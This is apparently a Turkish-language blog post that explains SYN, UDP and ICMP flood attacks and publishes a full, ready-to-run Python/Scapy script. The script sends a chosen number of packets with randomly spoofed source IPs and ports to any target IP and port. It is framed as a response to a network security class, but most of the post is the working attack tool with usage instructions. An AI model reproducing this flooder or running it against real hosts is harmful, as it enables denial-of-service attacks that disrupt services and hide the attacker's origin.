Python ile DDOS Saldırısı !!!
Merhaba arkadaşlar bugün python ile yazmış olduğum script'te gerekli bilgileri yazdıktan sonra hedefe sürekli packet gönderen script'in amacını , kodlarını ve video ile kullanımı göstereceğim. Haydi bir giriş yapalım...
Arkadaşlar bu scripteki amacım şuydu.Çok bilgili gördüğüm bir hocamın Ağ Güvenliği dersine
katılma fırsatı bulmuştum.Benim girdiğim derste hocam öğrencilerine DOS/DDOS saldırı mantığını
anlatıp hangi saldırıların daha kullanışlı olduğundan bahsetti.Dersin devamida ise "mz" adli
tool'u kullanıp öğrencilerine spoof edilmiş kaynak ip ve port bilgileri ile saldırılı şekillerini
gösterdi.Öğrenciler "mz" toolunu kullanırken biraz zorlandıklarını gözlemledim.Bunun üzerine sadace
amacı DOS/DDOS olan bir script yazmak istedim.
İlk gördüğüz gif'de normal bir kullanıcının server ile iletişimi gösteriyor.Burada server
kullanıcıdan gelen istekleri normal bir şekilde cevaplıyor.Bir sonraki gif'te ise server
kullanıcıdan gelen istekleri çok geç cevaplıyor veya hiç cevaplamıyor.Bu blog'un genel
amacı'da budur.Kullanacağımız script'te verdiğimiz count bilgisine göre bilgisayarımızdan
sürekli packet çıkartarak hedefi yormaya çalışıyoruz.Aşağıda script'de 3 farklı saldırı türü
yapılabileceğinden bahsettim.
Kullanıcılar bu saldırı'da hedef ip port flag count bilgilerini girerek hedef üzerine
belirledikleri count sayısı kadar packet çıkartırlar.Burada ve diğer saldırı türlerinde
olduğu gibi kullanılan kaynak ip ve port bilgisi tamamen rastgele(spoof) oluşturulmuştur.TCP
protokolü flag'ler kullanır.Bu script'de S,A,R,F tarzı flagleri ayarlayabilirsiniz.Bu saldırı
türünde S bayrağı kullanmayı (Syn Flooding)sizlere tavsiye ediyorum.
Kullanıcılar bu saldırı'da hedef ip port count bilgileri girerek hedef üzerine belirledikleri
count sayısı kadar packet çıkartırlar.TCP'den farklı olarak UDP protokolü yapısı gereği flag
kullanmaz ve 3 way handshake durumu olmadığı için daha hızlı fakat TCP gibi güvenli bilgi
taşıma garantisi vermeyen bir protokoldür.Böyle olunca UDP TCP'den daha hızlı bir protokol haline
geliyor.Bu yüzden DOS/DDOS tabanlı saldırıların büyük çoğunluğu UDP tabanlı oluyor.
Kullanıcılar bu saldırı'da hedef ip count bilgisi girerek hedef üzerinde belirledikleri count
sayısı kadar ICMP Echo Request packetleri çıkartırlar.Bu saldırı türünde hedefe çok fazla ICMP Request
packeti çıkartarak hedefin bu isteklere ICMP Respond verememesini sağlamaya çalışmaktır.
Kötü kod yazdığım için üzgünüm.Daha iyi bir yazılımcı olmak için yazılım geliştirme ve problem çözme yeteneğim üzerinde hala uğraşmaktayım.
# DDOS.py # -*- coding:utf-8 -*- import socket import random import sys import threading from scapy.all import * usage ="""############# HELP ################# python DDOS.py tcp ip port flag count python DDOS.py udp ip port count python DDOS.py icmp ip count ####################################""" def SpoofIP(): return "%i.%i.%i.%i"%(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254)) def SpoofPort(): return "%i"%(random.randint(1,254)) def TCPPacket(data): #print data src_ip = SpoofIP() src_port = SpoofPort() network_layer = IP(src=src_ip , dst=data[0]) transport_layer = TCP(sport=int(src_port) , dport=int(data[1]) , flags=str(data[2])) print "TCP -> SRC IP : {} DST IP : {} SRC PORT : {} DST PORT : {} FLAG : {}".format(src_ip.ljust(15," ") , data[0] , str(src_port).ljust(5 ," ") , data[1] , data[2]) send(network_layer/transport_layer,verbose=False) def UDPPacket(data): src_ip = SpoofIP() src_port = SpoofPort() network_layer = IP(src=src_ip , dst=data[0]) transport_layer = UDP(sport=int(src_port) , dport=int(data[1])) print "UDP -> SRC IP : {} DST IP : {} SRC PORT : {} DST PORT : {}".format(src_ip.ljust(15," ") , data[0] , str(src_port).ljust(5 ," ") , data[1]) send(network_layer/transport_layer,verbose=False) def ICMPPacket(data): src_ip = SpoofIP() src_port = SpoofPort() network_layer = IP(src=src_ip , dst=data[0])/ICMP() print "ICMP -> SRC IP : {} DST IP : {} ".format(src_ip.ljust(15," "),data[0]) send(network_layer,verbose=False) if __name__ == "__main__": if len(sys.argv) < 2 or len(sys.argv)> 6: print usage sys.exit(1) else: tmp = sys.argv[1:] if str(tmp[0]).lower() == "tcp" and len(tmp) == 5: tmp = tmp[1:] for i in range(int(tmp[3])): TCPPacket(tmp) elif str(tmp[0]).lower() == "udp" and len(tmp) == 4: tmp = tmp[1:] for i in range(int(tmp[2])): UDPPacket(tmp) elif str(tmp[0]).lower() == "icmp" and len(tmp) == 3: tmp = tmp[1:] for i in range(int(tmp[1])): ICMPPacket(tmp) else: print usage sys.exit(1)
Yukarıda paylaşmış olduğum kodda bir sıkıntı yada yapılabilecek iyileştirmeler için bana ulaşabilirseniz çok sevinirim.Okuduğunuz için çok teşekkür ederim.Esen kalın :)